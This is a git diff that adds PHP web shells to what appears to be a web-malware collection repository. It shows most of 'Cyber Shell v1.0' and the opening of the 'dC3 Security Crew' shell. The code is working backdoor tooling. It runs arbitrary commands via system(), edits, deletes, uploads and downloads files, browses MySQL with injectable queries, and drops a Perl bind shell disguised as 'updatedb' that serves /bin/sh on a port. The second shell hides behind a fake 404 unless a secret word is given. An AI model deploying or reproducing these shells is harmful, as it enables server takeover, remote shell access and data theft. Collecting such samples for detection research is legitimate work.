onClick='location.href="$PHP_SELF"' width="20%" align="center"> +� ������ + </td> + <td onClick='location.href="$PHP_SELF?d=$d&tools"' width="20%" align="center"> +����������� + </td> + <td onClick='location.href="$PHP_SELF?d=$d&show"' width="20%" align="center"> +� ������ + </td> + </tr> +</table> +EOF; + +$free = countbyte(diskfreespace("./")); +if (!empty($free)) echo "��������� �������� ������������ : <font face='Tahoma' size='1' color='#000000'>$free</font><br>"; +$os=exec("uname"); +if (!empty($os)) echo "������� :".$os."<br>"; +if (!empty($REMOTE_ADDR)) echo "��� IP: <font face='Tahoma' size='1' color='#000000'>$REMOTE_ADDR &nbsp; $HTTP_X_FORWARDED_FOR</font><br>"; +$ghz=exec("cat /proc/cpuinfo | grep GHz"); +if (!empty($ghz)) echo "���� � ������:(GHz)".$ghz."<br>"; +$mhz=exec("cat /proc/cpuinfo | grep MHz"); +if (!empty($mhz)) echo "���� � ������:(MHz) ".$mhz."<br>"; +$my_id=exec("id"); +if (!empty($my_id)) echo "<div style=\"background-color:#000000\"><span class=\"style4\">������������:".$my_id."</span></div>"; +} + +function showdir($df) { +$df=str_replace("//","/",$df); +$dirs=array(); +$files=array(); +if ($dir=opendir($df)) { +while (($file=readdir($dir))!==false) { +if ($file=="." || $file=="..") continue; +if (is_dir("$df/$file")){ +$dirs[]=$file;} +else { +$files[]=$file;}}} +closedir($dir); +sort($dirs); +sort($files); +echo <<< EOF +<table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> +EOF; +for ($i=0; $i<count($dirs); $i++){ +$perm=perms("$df/$dirs[$i]"); +echo <<< EOF + <tr height="1"> + <td width="1" height="1" align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"><span class="style2"><a href="$PHP_SELF?d=$df/$dirs[$i]&show"><img HSPACE=3 border=0 src=$PHP_SELF?imgname=dir></a></span></td> + <td width="241" bgcolor="#FFFFF0"><a href="$PHP_SELF?d=$df/$dirs[$i]&show">$dirs[$i]</a></td> + <td width="100" align="center" bgcolor="#FFFFFF"><a href="$PHP_SELF?deldir=$df/$dirs[$i]/">�������</a></td> + <td width="51" align="center" bgcolor="#EFFFFF"><span class="style8"><center>�������</center></span></td> + <td width="113" align="center" bgcolor="#FFFFF0">$perm</td> + </tr> +EOF; +} +for ($i=0; $i<count($files); $i++) { +$attr=""; +if (!$fi=@fopen("$df/$files[$i]","r+")){ +$attr=" ONLY_READ "; +$read=" href=\"$PHP_SELF?edit=$df/$files[$i]&readonly\""; +$write=" href=\"$PHP_SELF?delfile=$df/$files[$i]\"";} +else fclose($fi); +if (!$fi=@fopen("$df/$files[$i]","r")){ +$attr=" Can't_READ "; +$read=""; +$write=" href=\"$PHP_SELF?delfile=$df/$files[$i]\"";} +else fclose($fi); +if ($attr==""){ +$attr=" READ/WRITE "; +$read=" href=\"$PHP_SELF?edit=$df/$files[$i]\""; +$write=" href=\"$PHP_SELF?delfile=$df/$files[$i]\""; +} +$perm=perms("$df/$files[$i]"); +$it="file"; +switch (ext($files[$i])) { +case ".txt": $it="txt"; break; +case ".php": $it="txt"; break; +case ".htm": $it="txt"; break; +case ".log": $it="txt"; break; +case ".pl": $it="txt"; break; +case ".asm": $it="txt"; break; +case ".bat": $it="txt"; break; +case ".bash_profile": $it="txt"; break; +case ".bash_history": $it="txt"; break; +case ".ini": $it="txt"; break; +case ".php3": $it="txt"; break; +case ".html": $it="txt"; break; +case ".cgi": $it="txt"; break; +case ".inc": $it="txt"; break; +case ".c": $it="txt"; break; +case ".cpp": $it="txt"; break; +} +$fsize = fsize("$df/$files[$i]"); +echo <<< EOF + <tr height="1"> + <td width="1" height="1" align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"><span class="style2"><a href="$PHP_SELF?downloadfile=$df/$files[$i]"><img HSPACE=3 border=0 src=$PHP_SELF?imgname=$it></a></span></td> + <td width="241" bgcolor="#00FFFF"><a$read>$files[$i] </a> ($fsize)</td> + <td width="100" align="center" bgcolor="#FFFFFF"><a href="$PHP_SELF?rename=1&filetorename=$files[$i]&d=$df&diz">ren</a>/<a$write>del</a>/<a href="$PHP_SELF?downloadfile=$df/$files[$i]">get</a>/<a href="$PHP_SELF?mailfile=$df/$files[$i]">mail</a></td> + <td width="51" align="center" bgcolor="#FFEFEF"><span class="style8"><center>$attr</center></span></td> + <td width="113" align="center" bgcolor="#FFFFF9">$perm</td> + </tr> +EOF; +} +echo "</table>"; +if (count($dirs)==0 && count($files)==0){ +echo <<< EOF +<table width="505" height="24" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> + <tr> + <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">����� �����</td> + </tr> +</table> +EOF; +}} + +$edit=$_REQUEST[edit]; +if (isset($_REQUEST[edit]) && (!empty($_REQUEST[edit])) && (!isset($_REQUEST[ashtml])) ){ +$file=fopen($edit,"r") or die ("��� ������� � ����� $edit"); +if (filesize($edit) > 0) +$tfile=fread($file,filesize($edit)) or die ("��� ������� � ����� $edit"); +else $tfile = ""; +fclose($file); +$tfile = htmlspecialchars($tfile,ENT_QUOTES); +echo " +<center> +<form action=\"$PHP_SELF\" method=\"POST\">"; +$mydir=updir($edit); +echo " +<a href=\"$PHP_SELF?d=$mydir&show\">��������� � $mydir/</a><br> +�� ������������ ���� : $edit<br> +<a href=\"$PHP_SELF?edit=$edit&ashtml\"><span class=\"style4\">����������� ���� ���� � ���� HTML</span></a> +<hr width=\"100%\" size=\"2\" color=\"#000000\"> +<textarea name=\"texoffile\" rows=\"25\" cols=\"60\" wrap=\"OFF\">$tfile</textarea> +<br><input type=\"hidden\" name=\"nameoffile\" value=\"$edit\" > +"; +if (!isset($_REQUEST[readonly])) +echo "<input type=\"submit\" value=\" ��������� \" >"; +echo " +<hr width=\"100%\" size=\"2\" color=\"#000000\"> +</form> +</center> +"; +} +if (isset($edit) && (!empty($edit)) && (isset($ashtml))){ +$mydir=updir($edit); +echo " +<center> +<a href=\"$PHP_SELF?d=$mydir&show\">��������� � $mydir/</a><br> +�� �������������� ���� : $edit +<hr width=\"100%\" size=\"2\" color=\"#000000\"> +"; +readfile($edit); +echo " +<hr width=\"100%\" size=\"2\" color=\"#000000\"> +</center> +"; +} + +if (isset($texoffile) && isset($nameoffile)) +{ +$texoffile=unbug($texoffile); +$f = fopen("$nameoffile", "w") or die ("��� ������� � ����� $nameoffile"); +fwrite($f, "$texoffile"); +fclose($f); +$mydir=updir($nameoffile); +echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?edit=$nameoffile&show\">"; +die; +} + +if (isset($_REQUEST[delfile]) && ($_REQUEST[delfile]!="")) +{ +$delfile=$_REQUEST[delfile]; +$mydir=updir($delfile); +$deleted = unlink("$delfile"); +echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$mydir&show\">"; +die; +} + +function deletedir($directory) { +if ($dir=opendir($directory)) { +while (($file=readdir($dir))!==false) { +if ($file=="." || $file=="..") continue; +if (is_dir("$directory/$file")) { +deletedir($directory."/".$file);} +else {unlink($directory."/".$file);}}} +closedir($dir); +rmdir("$directory/$file"); +} +if (isset($_REQUEST[deldir]) && (!empty($_REQUEST[deldir]))){ +$deldir=$_REQUEST[deldir]; +$mydir=updir(updir($deldir)); +deletedir("$deldir"); +echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$mydir&show\">"; +die; +} + +if (isset($show)){showdir("$d");} + +{ +if (isset($_REQUEST[tools])) +echo <<< EOF +<center> +<table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> +<tr> +<td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"> +.: �������� ��� ������ ����� :. +</td> +</tr> +</table> +</center> +EOF; +if (isset($_REQUEST[tools]) or isset($_REQUEST[tmkdir])) +echo <<< EOF +<center> +<table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> +<tr height="10"> +<td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF"> +<form action="$PHP_SELF" method="POST"> +.: ������� ����� :. +</td> +</tr height="10"> +<tr> +<td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"> +<input type=hidden name=tools> +<input type=text size=55 name=newdir value="$d/����� �����"> +<input type=submit value="�������"> +</form> +</td> +</tr> +</table> +</center> +EOF; + +if (isset($newdir) && ($newdir!="")) +{ +$mydir=updir($newdir); +mkdir($newdir,"7777"); +echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$mydir&show\">"; +} + +if(@$_GET['rename']){ +echo "<b><font color=green>RENAME $d/$filetorename ?</b></font><br><br> +<center> +<form method=post> +<b>RENAME</b><br><u>$filetorename</u><br><Br><B>TO</B><br> +<input name=rto size=40 value='$filetorename'><br><br> +<input type=submit value=RENAME> +</form> +"; +@$rto=$_POST['rto']; +if($rto){ +$fr1=$d."/".$filetorename; +$fr1=str_replace("//","/",$fr1); +$to1=$d."/".$rto; +$to1=str_replace("//","/",$to1); +rename($fr1,$to1); +echo "File <br><b>$filetorename</b><br>Renamed to <b>$rto</b><br><br>"; +echo "<meta http-equiv=\"REFRESH\" content=\"3;URL=$PHP_SELF?d=$d&show\">";} +echo $copyr; +exit; +} + +if (isset($tools) or isset($tmkfile)) +echo <<< EOF +<center> +<table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> +<tr height="10"> +<td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF"> +<form action="$PHP_SELF" method="POST"> +.: ������� ���� :. +</td> +</tr height="10"> +<tr> +<td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"> +<input type=text size=55 name=newfile value="$d/newfile.php"> +<input type=hidden name=tools> +<input type=submit value="�������"> +</form> +</td> +</tr> +</table> +</center> +EOF; + +if (isset($newfile) && ($newfile!="")){ +$f = fopen("$newfile", "w+"); +fwrite($f, ""); +fclose($f); +$mydir=updir($newfile); +echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$mydir&show\">"; +} + +if (isset($tools) or isset($tbackdoor)) +echo <<< EOF +<center> +<table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> +<tr height="10"> +<td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF"> +<form action="$PHP_SELF" method="POST"> +.: ������� ���� :. +</td> +</tr height="10"> +<tr> +<td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"> +��� �������: <input type=text size=13 name=bfileneme value="bind.pl"> ����: <input type=text size=10 name=bport value="65426"> +<input type="hidden" name="d" value="$d" > +<input type=hidden name=tools> +<input type=submit value="���������"> +</form> +</td> +</tr> +</table> +</center> +EOF; + +if (isset($bfileneme) && ($bfileneme!="") && isset($bport) && ($bport!="")){ +$script=" +#!/usr/bin/perl +\$port = $bport; +\$port = \$ARGV[0] if \$ARGV[0]; +exit if fork; +\$0 = \"updatedb\" . \" \" x100; +\$SIG{CHLD} = 'IGNORE'; +use Socket; +socket(S, PF_INET, SOCK_STREAM, 0); +setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1); +bind(S, sockaddr_in(\$port, INADDR_ANY)); +listen(S, 50); +while(1) +{ + accept(X, S); + unless(fork) + { + open STDIN, \"<&X\"; + open STDOUT, \">&X\"; + open STDERR, \">&X\"; + close X; + exec(\"/bin/sh\"); + } + close X; +} +"; + +$f = fopen("$d/$bfileneme", "w+"); +fwrite($f, $script); +fclose($f); +system("perl $d/$bfileneme"); +echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$d&show\">"; +} + +if (isset($tools) or isset($tbash)) +echo <<< EOF +<center> +<table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> +<tr height="10"> +<td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF"> +<form action="$PHP_SELF" method="GET"> +<input type="hidden" name="d" value="$d" > +.: ��������� ������� :. +</td> +</tr height="10"> +<tr> +<td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"> +<input type=hidden name=diz> +<input type=hidden name=tbash> +<input type=text size=55 name=cmd value="$cmd"> +<input type=submit value="���������"> +</form> +</td> +</tr> +</table> +</center> +EOF; + +if (isset($cmd) && ($cmd!="")){ +echo "<pre><div align=\"left\">"; +system($cmd); +echo "</div></pre>"; +} + +if (isset($tools) or isset($tupload)){ +$updir="$d/"; +if(empty($go)) { +echo <<< EOF +<center> +<table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> +<tr height="10"> +<td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF"> +<form ENCTYPE="multipart/form-data" action="$PHP_SELF" method="post"> +.: �������� ���� � ������� ������� :. +</td> +</tr height="10"> +<tr> +<td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"> +<INPUT NAME="userfile" TYPE="file" SIZE="40"> +<input type="hidden" name="d" value="$d"> +<input type=hidden name=diz> +<input type=hidden name=tupload> +<input type="submit" name=go value="���������"> +</form> +</td> +</tr> +</table> +</center> +EOF; +} +else { +if (is_uploaded_file($userfile)) { +$fi = "������� ���� $userfile_name �������� $userfile_size ���� � ���������� $updir"; +} +echo "$fi<br><a href='$PHP_SELF?d=$d&show&tupload'>����� � ��������</a>"; +} +if (is_uploaded_file($userfile)) { +$dest=$updir.$userfile_name; +move_uploaded_file($userfile, $dest); +}} + +if ((isset($db_server)) || (isset($db_user)) || (isset($db_pass)) ){ +mysql_connect($db_server, $db_user, $db_pass) or die("�� ���� ������������ � ����"); +} + +if ((isset($dbname)) and (isset($table)) ) +{ +foreach($_POST as $var => $val) +if (substr($var,0,7) == 'newpole'){ +if (substr($var,7,strlen($var)) !== ''){ +$indif=substr($var,7,strlen($var)); +echo " $val "; +mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); +if ($xvar == "") +$xvar .= $indif; +else +$xvar .= ",".$indif; +if ($xval == "") +$xval .= "'$val'"; +else +$xval .= ",'$val'"; +}} + +if ($xvar != ""){ +mysql_query("INSERT INTO $table ($xvar) values ($xval)"); +} + +echo "<a href=$PHP_SELF?showtables=$dbname&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>����� � ������ ������ ��:$dbname</a>"; +mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); +$re=mysql_query("select * from $table"); +echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>"; + +$res=mysql_fetch_array($re); +echo "<tr>"; +if (count($res) > 1) +foreach($res as $var => $val){ +$nvar=$var; +if ($nvar !== 0) +$nvar=$var+128945432; +if ($nvar == 128945432){ +$var=untag($var); +echo "<td bgcolor='#CCCCFF' bordercolor='#FFFFFF'><center>$var</center></td>"; +}} +echo "<td></td></tr>"; + +if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0")) +$param="limit $_SESSION[limit]"; + +$re=mysql_query("select * from $table $param"); + +while($res=mysql_fetch_array($re)){ +echo "<tr>"; +if (count($res) > 1) +foreach($res as $var => $val){ +$nvar=$var; +if ($nvar !== 0) +$nvar=$var+128945432; +if (!$pixidname){ +$pixidname=$var; +$pixid=$val; +} +if ($nvar == 128945432){ +$valtext=untag($val); +if ($valtext == "") $valtext="=�����="; + + +if ($_SESSION[lenth] == "on"){ +if (strlen($valtext)>40){ +$valtext=substr($valtext,0,40); +$valtext .="..."; +}} + +echo "<td><a href=$PHP_SELF?dbname=$dbname&mtable=$table&var=$var&pixidname=$pixidname&pixid=$pixid&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$valtext</a></td>"; +}} + +echo "<td><a href=$PHP_SELF?dbname=$dbname&mtable=$table&pixidname=$pixidname&pixid=$pixid&db_server=$db_server&db_user=$db_user&db_pass=$db_pass&del>�������</a></td></tr>"; +$pixidname=''; +$pixid=''; +} + +echo "<form action=\"$PHP_SELF\" method=\"POST\">"; + +$re=mysql_query("select * from $table"); +$res=mysql_fetch_array($re); +echo "<tr>"; +if (count($res) > 1) +foreach($res as $var => $val){ +$nvar=$var; +if ($nvar !== 0) +$nvar=$var+128945432; +if ($nvar == 128945432){ +$var=untag($var); +echo "<td bgcolor='#CCCCFF' bordercolor='#FFFFFF'><center>$var</center></td>"; +}} +echo "<td></td></tr>"; + +$re=mysql_query("select * from $table"); +$res=mysql_fetch_array($re); +echo "<tr>"; +if (count($res) > 1) +foreach($res as $var => $val){ +$nvar=$var; +if ($nvar !== 0) +$nvar=$var+128945432; +if ($nvar == 128945432){ +$var=untag($var); +echo "<td bgcolor='#FFFFFF' bordercolor='#FFFFFF'><center><input type='text' name='newpole$var' value='$var' size='5'></center></td>"; +}} +echo "</tr>"; +echo "</table>"; +echo "<input type=\"submit\" value=\"�������� ����� ������\" >"; +echo " +<input type=\"hidden\" name=\"dbname\" value=\"$dbname\"> +<input type=\"hidden\" name=\"table\" value=\"$table\"> +<input type=\"hidden\" name=\"db_server\" value=\"$db_server\" > +<input type=\"hidden\" name=\"db_user\" value=\"$db_user\" > +<input type=\"hidden\" name=\"db_pass\" value=\"$db_pass\" > +"; +echo "</form>"; +} + +if ((isset($dbname)) and (isset($mtable)) and (isset($pixidname)) and (isset($pixid)) and (isset($del))){ +echo "hello"; +mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); +mysql_query("delete from $mtable where $pixidname='$pixid'"); +echo "<head><meta http-equiv=\"refresh\" content=\"0;URL=$PHP_SELF?dbname=$dbname&table=$mtable&db_server=$db_server&db_user=$db_user&db_pass=$db_pass\"></head>"; +} + +if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid)) and (isset($textofmysql))){ +mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); +mysql_query("update $mtable set $var='$textofmysql' where $pixidname=$pixid"); +} + +if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid))){ +mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); +$re=mysql_query("select $var from $mtable where $pixidname='$pixid'"); +$res=mysql_fetch_array($re); +$text=untag($res[$var]); + +echo " +<form action=\"$PHP_SELF\" method=\"POST\"> +<textarea name=\"textofmysql\" rows=\"25\" cols=\"60\" wrap=\"OFF\">$text</textarea> +<input type=\"hidden\" name=\"dbname\" value=\"$dbname\" > +<input type=\"hidden\" name=\"mtable\" value=\"$mtable\" > +<input type=\"hidden\" name=\"var\" value=\"$var\" > +<input type=\"hidden\" name=\"pixidname\" value=\"$pixidname\" > +<input type=\"hidden\" name=\"pixid\" value=\"$pixid\" > +<input type=\"hidden\" name=\"db_server\" value=\"$db_server\" > +<input type=\"hidden\" name=\"db_user\" value=\"$db_user\" > +<input type=\"hidden\" name=\"db_pass\" value=\"$db_pass\" > +<br><input type=\"submit\" value=\" �������� \" > +</form> +<a href=$PHP_SELF?dbname=$dbname&table=$mtable&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>��������� � ������</a> +"; +} + +if (isset($showdb) && empty($showtables)){ +$re=mysql_query("show databases"); +echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>"; +echo "<tr><td><center><div style='background-color:#CCCCFF'><span class='style5'>������ ��������� ��:</span></div></center></td></tr>"; +while($res=mysql_fetch_array($re)){ +echo "<tr><td><center><a href=$PHP_SELF?showtables=$res[0]&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$res[0]</a></center></td></tr>"; +} +echo "</table>"; +} +if (isset($showtables) and !empty($showtables)){ + +if (isset($xlimit)){ +$_SESSION[limit]=$xlimit; +if (isset($xlenth)) +$_SESSION[lenth]=$xlenth; +else $_SESSION[lenth]=""; +} + +echo "<a href=$PHP_SELF?showdb&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>����� � ������ ��</a>"; +$re=mysql_query("SHOW TABLES FROM $showtables"); +echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>"; +echo "<tr><td><center><div style='background-color:#CCCCFF'><span class='style5'>$showtables - ������ ������: </span></div></center></td></tr>"; +while($res=mysql_fetch_array($re)){ +echo "<tr><td><center><a href=$PHP_SELF?dbname=$showtables&table=$res[0]&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$res[0]</a></td></tr>"; +} +echo "</table>"; + +if (($_SESSION[lenth]) == "on") +$ch="checked"; +else +$ch=""; + +echo <<< EOF +<form action="$PHP_SELF" method="get"> +<input type="hidden" name="showtables" value="$showtables" > +<input type="hidden" name="db_server" value="$db_server" > +<input type="hidden" name="db_user" value="$db_user" > +<input type="hidden" name="db_pass" value="$db_pass" > +����������� �� ���������� ��������� �����:<br> +<select name="xlimit"> + <option value="0">&#1055;&#1086;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1090;&#1100; &#1074;&#1089;&#1105;</option> + <option value="10">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 10</option> + <option value="20">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 20</option> + <option value="30">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 30</option> + <option value="50">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 50</option> + <option value="100">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 100</option> + <option value="200">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 200</option> + <option value="500">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 500</option> + <option value="1000">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 1000</option> + <option value="5000">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 5000</option> +</select> +<br>�������� ����������� �� ����� ��������� ����� <input name="xlenth" type="checkbox" value="on" $ch><br> +<input type="submit" value="���������" > +EOF; +if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0")) +echo "<br>������� �����������: $_SESSION[limit]"; +} + +if (isset($tools) or isset($tmysql)) +echo " +<center> +<table width='505' border='0' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCCC'> +<tr height='10'> +<td align='center' bordercolor='#ECE9D8' bgcolor='#FFF8FF'> +.: MySQL :. +</td> +</tr height='10'> +<tr> +<td align='center' bordercolor='#ECE9D8' bgcolor='#FFFFFF'> +<form name='zapros' method='get' action=''> +<table width='505' border='0' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'> +<tr align='center' > +<td> +Host +</td> +<td> +<input name='db_server' type='text' value='localhost'> +</td> +</tr> +<tr align='center' > +<td> +Login MySQL +</td> +<td> +<input type='text' name='db_user' value=''> +</tr> +<tr align='center' > +<td> +Password MySQL +</td> +<td> +<input type='text' name='db_pass' value=''> +<input type='hidden' name='showdb'> +</td> +</tr> +<tr align='center' > +<td> +��� �� (�� �����������) +</td> +<td> +<input type='text' name='showtables' value=''> +</td> +</tr> +<tr align='center' > +<td> +<input type='submit'> +</td> +<td> +<input type='reset'> +</td> +</tr> +</table> +</form> +</td> +</tr> +</table> +</center> +"; +} +echo <<< EOF +<center>.:Cyber Shell (v 1.0):.<br>Copyright � <a href="http://www.cyberlords.net" target="_blank">Cyber Lords Community</a>, 2002-2006</center> +</td> +</tr> +</table> +EOF; + +$d=tourl($d); +echo " +<center> +<span class='style1'> +<a href=$PHP_SELF?d=$d&diz&tmkdir>.: ������� ����� :.</a> +<a href=$PHP_SELF?d=$d&diz&tmkfile>.: ������� ���� :.</a> +<a href=$PHP_SELF?d=$d&diz&tbackdoor>.: ������� ���� ��� ����������� :.</a><br> +<a href=$PHP_SELF?d=$d&diz&tbash>.: Bash :.</a> +<a href=$PHP_SELF?d=$d&diz&tupload>.: �������� ���� :.</a> +</span> +</center> +"; +} +die; +?> diff --git a/web-malware-collection-master/Backdoors/PHP/dC3 Security Crew Shell PRiV.txt b/web-malware-collection-master/Backdoors/PHP/dC3 Security Crew Shell PRiV.txt new file mode 100755 index 0000000..e99383d --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/dC3 Security Crew Shell PRiV.txt @@ -0,0 +1,1273 @@ +<?PHP +/* +ver=5 +----------------------Only For Priv8 Use--------------------------------- + I dont support illegal actions! +------------------------------------------------------------------------- + dC3 Security Crew +------------------------------------------------------------------------- +By turning "on" safe you can make your shell in 404 Not Find mode if the user doesnt know your OWN set word! +------------------------------------------------------------------------- +Shell written by Bl0od3r +------------------------------------------------------------------------- +Easy file managing with a lot of features! +------------------------------------------------------------------------- +In work: +special file options +------------------------------------------------------------------------- +*/ +//important +error_reporting(5); +@ignore_user_abort(true); +// + +$safe="off"; +$word="secret"; +if ($safe=="on") { +if (!isset($_GET[$word])) { + header('HTTP/1.0 404 Not Found'); + exit; + } + } +$made_by="Bl0od3r"; +$of="Netplayazz"; +($made_by=="Bl0od3r") ? $fake=0 : $fake=1; +($of=="dc3") ? $fake=0 : $fake=1; +$st_dir="."; +$p=str_replace("\\","/",realpath($_GET['file'])); +$j_d=$_GET['file']; +$j_f=$_GET['file']; +$filename = $_GET['file']; +$file_info = pathinfo($filename); +$extn = $file_info['extension']; + + +if (isset($_GET['dir'])) { + $images = array( +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"dir"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAkFBMVEX////MmTT/zGezgRvLmDN/ +f3/AjSi6hyK9iiWgbghra2vCjyr/5oGufBbHlC+jcQuwfhiIiIjJljGcagS1gh24hSCebAaZZwGa +aAK0gRzvvFfcqUT4xWC8iSRKSkqreRPCwsK/jCeodhDms06lcw23hB/ToDv/1G//4HvFki3/64X/ +95Fqamr//////5n/9I54UBIWAAAAAXRSTlMAQObYZgAAAAFiS0dELc3aQT0AAAAWdEVYdFNvZnR3 +YXJlAGdpZjJwbmcgMi40LjakM4MXAAAAiUlEQVR42oXOxxKCMBgE4CWhVwEp9i4Ekt/3fzuDE0Yd +D3633dnDAr8su0i/stKi40cmTfnebckXU2GPj8k0U0mui2KIxYu7q1acA2kv1CxWWQ7RWTTbUhAi +YjaNxppqCZcJGowLlRI+O1FvbKiV8FhFnXGnJgT0n+RwvmZBXbbN3tFPHPnm4L8nl3EWVP90I8IA +AAAASUVORK5CYII=", +"o.b" => "/9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAUAAA/+IMWElDQ19QUk9GSUxFAAEB +AAAMSExpbm8CEAAAbW50clJHQiBYWVogB84AAgAJAAYAMQAAYWNzcE1TRlQAAAAASUVDIHNSR0IA +AAAAAAAAAAAAAAEAAPbWAAEAAAAA0y1IUCAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAARY3BydAAAAVAAAAAzZGVzYwAAAYQAAABsd3RwdAAAAfAAAAAUYmtw +dAAAAgQAAAAUclhZWgAAAhgAAAAUZ1hZWgAAAiwAAAAUYlhZWgAAAkAAAAAUZG1uZAAAAlQAAABw +ZG1kZAAAAsQAAACIdnVlZAAAA0wAAACGdmlldwAAA9QAAAAkbHVtaQAAA/gAAAAUbWVhcwAABAwA +AAAkdGVjaAAABDAAAAAMclRSQwAABDwAAAgMZ1RSQwAABDwAAAgMYlRSQwAABDwAAAgMdGV4dAAA +AABDb3B5cmlnaHQgKGMpIDE5OTggSGV3bGV0dC1QYWNrYXJkIENvbXBhbnkAAGRlc2MAAAAAAAAA +EnNSR0IgSUVDNjE5NjYtMi4xAAAAAAAAAAAAAAASc1JHQiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFhZWiAAAAAAAADzUQABAAAA +ARbMWFlaIAAAAAAAAAAAAAAAAAAAAABYWVogAAAAAAAAb6IAADj1AAADkFhZWiAAAAAAAABimQAA +t4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9kZXNjAAAAAAAAABZJRUMgaHR0cDovL3d3dy5pZWMu +Y2gAAAAAAAAAAAAAABZJRUMgaHR0cDovL3d3dy5pZWMuY2gAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZGVzYwAAAAAAAAAuSUVDIDYxOTY2LTIuMSBEZWZhdWx0 +IFJHQiBjb2xvdXIgc3BhY2UgLSBzUkdCAAAAAAAAAAAAAAAuSUVDIDYxOTY2LTIuMSBEZWZhdWx0 